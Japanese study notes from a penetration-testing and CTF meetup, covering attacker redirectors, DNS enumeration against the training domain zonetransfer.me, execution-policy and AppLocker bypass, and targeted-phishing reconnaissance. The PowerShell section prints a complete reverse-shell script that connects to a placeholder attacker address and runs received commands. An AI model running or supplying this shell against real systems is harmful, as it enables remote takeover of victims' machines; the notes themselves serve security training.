# 浪速セキュリティnote

12/29(日)に開催された浪速セキュリティ勉強会#04 #05:ペンテストCTFで学ぶサイバーセキュリティ(12月29日) (opens new window)に参加した際のarchive

# 基礎知識

  • 今回は実際に攻撃するまでの偵察がメイン
  • nc -lvnp 80でlisten

# redirector

  • targetとattackerの間に配置して, targetと直接通信するサーバ
  • これ自身を調べても本体はいない
  • 自分たちの安全を保証するために挟むのが一般的
  • ペンテストやレッドチームもこういったところまでやる必要がある
  • 目的
    • 自分たちをtargetから隠す
    • redirectorをtakedownされても別のredirectorを立てればよい

# DNSの調査

# domain fronting

# DNSの調査(DNS Enumeration)

  • targetのname serverの探索

  • zonetransfer.meは脆弱なやられサーバ的な感じ

  • nsレコードをもらってくる

    • host -t ns {targetip}
~# host -t ns zonetransfer.me
zonetransfer.me name server nsztm1.digi.ninja.
zonetransfer.me name server nsztm2.digi.ninja.

  • mxレコードをもらってくる
    • host -t mx {targetip}
# host -t mx zonetransfer.me
zonetransfer.me mail is handled by 0 ASPMX.L.GOOGLE.COM.
zonetransfer.me mail is handled by 10 ALT2.ASPMX.L.GOOGLE.COM.
zonetransfer.me mail is handled by 20 ASPMX4.GOOGLEMAIL.COM.
zonetransfer.me mail is handled by 10 ALT1.ASPMX.L.GOOGLE.COM.
zonetransfer.me mail is handled by 20 ASPMX5.GOOGLEMAIL.COM.
zonetransfer.me mail is handled by 20 ASPMX3.GOOGLEMAIL.COM.
zonetransfer.me mail is handled by 20 ASPMX2.GOOGLEMAIL.COM.
  • 相手はメールをgmailの管理サーバを使っていることがわかる
  • -> 標的型攻撃をする場合, googleの持っている機能はscanされてしまうこともわかる
  • -> malwareを作って添付しても, そもそも相手に着弾しない可能性がある
  • -> 着弾するかしないかは, 自分でgoogleのメールサーバを使って確認することができる
  • これは他のメールサービスでも同様

# DNS Lookup

  • 存在しそうなホスト名にDNSパケットを飛ばして確認する手法
for name in $(cat /usr/share/dnsenum/dns.txt); do
host ${name}. zonetransfer.me | grep "has address" | cut -d " " -f 1,4
done

# Reverse DNS Lookup

  • 1つ存在しているホスト名を見つけ, 存在しているホスト名の近くを使っていると想定して上でBruteForceを試す手法
  • 192.168.33.{brute force}

# DNS Zone Transfer

  • ゾーン転送情報取得を用いて確認する手法
  • dig axfr @... addr

# 内部のサーバのレコードを見る

# RedirectorとRedirectの違い

  • redirectorは直接通信する
  • redirectは挟んで通信するので遮断される可能性がある

# OSINT

# Google Search Operator

# Twitter Search Operators

# ReverseShell

# PowerShell

Set-ExecutionPolicy bypass`
start-process calc.exe
powershell.exe -executionpolicy bypass gen_calc.ps1
  • ReverseShell用のCSharpCode
$client = New-Object System.Net.Sockets.TCPClient("attackerAddress",443);
$stream =$client.GetStream();
[byte[]]$bytes = 0..65535|%{0};

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  $sendback =(iex $data 2>&1 | Out-String );
  $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
  $sendbyte =([text.encoding]::ASCII).GetBytes($sendback2);
  $stream.Write($sendbyte,0,$sendbyte.Length);
  $stream.Flush()
};

$client.Close()

# PowerShell without powershell.exe

# Restricting PowerShell

  • applocker
    • ブラックリスト管理をするのが良い
    • 最初に全て許可してからダメなものをブラックリストに入れる
  • apploockerのbypass
    • powershellを動かせる
    • 対策として, InstallUtil.exeをapplockerに入れる
      • その際に, 過去の実行ログをみて, 使われていない場合は良いかもしれない
      • だいたい使われているので, それらを使っているcallerをホワイトリスト管理するとよい
Last Updated: 9ヶ月前